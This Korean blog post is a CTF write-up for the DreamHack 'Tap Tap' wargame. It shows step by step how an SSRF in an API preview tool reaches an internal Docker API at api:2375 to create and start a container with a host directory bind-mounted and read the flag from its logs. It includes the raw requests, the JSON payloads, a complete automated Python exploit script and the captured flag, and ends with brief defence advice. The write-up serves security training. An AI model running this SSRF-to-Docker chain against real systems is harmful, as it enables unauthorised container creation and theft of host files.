DreamHack Tap Tap 워게임 풀이: API Previewer SSRF로 내부 Docker API 타고 플래그까지

2026-03-31·1분 읽기·

DreamHack Tap Tap 워게임 풀이: API Previewer SSRF로 내부 Docker API 타고 플래그까지

Internal API Testing Tool의 검증 우회를 통해 SSRF를 성공시키고, 내부 Docker API에서 컨테이너 로그로 최종 플래그를 획득한 전 과정을 정리합니다.

DreamHack Tap Tap 풀이

문제 구조 파악

접속하면 Internal API Testing Tool 단 하나의 화면이 나온다. Method, URL, POST Data(JSON)를 입력해 서버가 대신 요청을 보내주는 구조다.

항목내용
입력 포인트method / url / data (POST form)
차단 조건127.0.0.1 계열, file:// 스킴
공격 벡터SSRF — 서버가 내부 네트워크로 요청 대리
내부 타깃api:2375 (mock Docker API)

핵심은 단순하다. 서버가 요청을 대신 보내주는 기능에서, 필터가 막지 못하는 내부 호스트명으로 Docker API에 접근하면 끝난다.


Step 1 — 서비스 진입: Internal API Testing Tool

Internal API Testing Tool 메인
Internal API Testing Tool 메인

Method → URL → POST Data 세 입력란만 있는 단순한 화면이다. 외부로 요청을 보내면 응답이 Response 섹션에 그대로 반사된다. 이 반사 동작이 SSRF 공격 채널이 된다.


Step 2 — 필터 확인: 127.0.0.1 직접 접근 차단

code
URL: http://127.0.0.1/
 

127.0.0.1 차단 응답
127.0.0.1 차단 응답

127.0.0.1을 그대로 넣으면 "Access to internal network is prohibited." 메시지가 반환된다. 문자열 혹은 정규식 기반 필터가 작동하고 있다는 신호다. 단, 이 필터는 127.0.0.1 표기만 막는 것이지 내부 호스트명까지 막는 게 아니다.


Step 3 — 필터 우회: 내부 호스트명으로 Docker API 접근

code
URL: http://api:2375/version
 

Docker API /version 응답 (SSRF 성공)
Docker API /version 응답 (SSRF 성공)

내부 컨테이너 네트워크의 호스트명 api는 필터에 걸리지 않는다. 응답으로 Docker Engine 버전 정보가 반환되며, 이 시점에서 내부 Docker API와 통신 가능함이 확인된다.

code
{"Platform":{"Name":"Docker Engine - Community"},"ApiVersion":"1.41","Version":"20.10.24-mock"}
 

Step 4 — 컨테이너 생성: /host_flag 마운트

code
Method: POST
URL: http://api:2375/containers/create
POST Data:
{
  "Image": "alpine",
  "Cmd": ["cat", "/host_flag/flag.txt"],
  "HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]}
}
 

컨테이너 생성 응답 (Id 획득)
컨테이너 생성 응답 (Id 획득)

/host_flag 디렉토리를 읽기 전용으로 마운트한 컨테이너를 생성한다. 응답으로 컨테이너 Id가 반환된다.

code
{"Id":"004bb760a621465cbde2a9d8b1a3aba6","Warnings":[]}
 

이 Id를 다음 단계에 사용한다.

컨테이너 시작 요청:

code
Method: POST
URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/start
 

Step 5 — 컨테이너 로그 조회: 플래그 획득

code
Method: GET
URL: http://api:2375/containers/004bb760a621465cbde2a9d8b1a3aba6/logs?stdout=1
 

컨테이너 로그 응답 — 플래그 출력
컨테이너 로그 응답 — 플래그 출력

컨테이너가 실행한 cat /host_flag/flag.txt 출력이 로그로 반환된다. Response 섹션에 플래그가 그대로 노출된다.


최종 플래그

code
DH{57e8e65fa0b07d5c90a90d42a25e6aa77b9e0e0627c2cdedfe519ae5288858b3}
 

공격 흐름 요약

code
Internal API Testing Tool (SSRF 포인트)
  → 127.0.0.1 차단 확인 (필터 범위 파악)
  → http://api:2375/version 접근 (내부 호스트명 우회)
  → /containers/create  (alpine + /host_flag 마운트)
  → /containers/<id>/start
  → /containers/<id>/logs?stdout=1  → 플래그
 

Full Exploit — URL 하나로 플래그까지

아래 코드는 대상 URL만 넘기면 ① SSRF 동작 확인 → ② 컨테이너 생성 → ③ 시작 → ④ 로그에서 플래그 추출까지 자동으로 실행한다.

code
#!/usr/bin/env python3
"""
DreamHack Tap Tap — Full SSRF → Docker API Exploit
Usage: python3 exploit.py http://host3.dreamhack.games:11138
"""
import sys
import re
import json
import html
import requests
 
DOCKER = "http://api:2375"
 
def previewer(session: requests.Session, base: str, method: str, url: str, data: dict | None = None):
    """Internal API Testing Tool을 통해 요청을 프록시한다."""
    payload = {"method": method.upper(), "url": url, "data": json.dumps(data) if data else ""}
    r = session.post(base + "/", data=payload, timeout=15)
    # <pre> 태그 안의 응답 본문 추출 후 HTML 엔티티 디코딩 (&#34; → " 등)
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    raw = m.group(1).strip() if m else r.text.strip()
    return html.unescape(raw)
 
def exploit(base: str):
    base = base.rstrip("/")
    session = requests.Session()
 
    # ── 1) SSRF 동작 확인 ──────────────────────────────────────────
    resp = previewer(session, base, "GET", f"{DOCKER}/version")
    if "ApiVersion" not in resp:
        sys.exit(f"[-] Docker API 접근 실패 — 응답: {resp[:200]}")
    print("[+] Docker API 접근 확인:", resp[:80])
 
    # ── 2) 컨테이너 생성 ──────────────────────────────────────────
    create_body = {
        "Image": "alpine",
        "Cmd": ["cat", "/host_flag/flag.txt"],
        "HostConfig": {"Binds": ["/host_flag:/host_flag:ro"]},
    }
    resp = previewer(session, base, "POST", f"{DOCKER}/containers/create", create_body)
    try:
        container_id = json.loads(resp)["Id"]
    except Exception:
        sys.exit(f"[-] 컨테이너 생성 실패 — 응답: {resp[:200]}")
    print(f"[+] 컨테이너 생성: {container_id}")
 
    # ── 3) 컨테이너 시작 ──────────────────────────────────────────
    previewer(session, base, "POST", f"{DOCKER}/containers/{container_id}/start", {})
    print("[+] 컨테이너 시작 완료")
 
    # ── 4) 로그 조회 → 플래그 ─────────────────────────────────────
    logs = previewer(session, base, "GET", f"{DOCKER}/containers/{container_id}/logs?stdout=1")
    m = re.search(r"DH\{[^}]+\}", logs)
    if m:
        print(f"\n[FLAG] {m.group(0)}")
    else:
        print("[-] 플래그 패턴 미발견 — 로그 내용:")
        print(logs[:300])
 
if __name__ == "__main__":
    url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:11138"
    exploit(url)
 

![Full Exploit] 실행 결과 (/images/blog/dreamhack-tap-tap/flow/result.PNG)


방어 방법

  • URL 화이트리스트 기반 허용 정책 — 내부 호스트명 포함 전체 차단
  • DNS rebinding 방지 — resolve 결과를 기준으로 private address 재검증
  • Docker API 네트워크 격리 — 관리 포트(2375/2376)는 외부 컨테이너 네트워크와 분리
  • TLS + 인증 — Docker API는 반드시 인증된 클라이언트만 접근 가능하도록 설정
ShareX

이 글이 도움이 됐나요?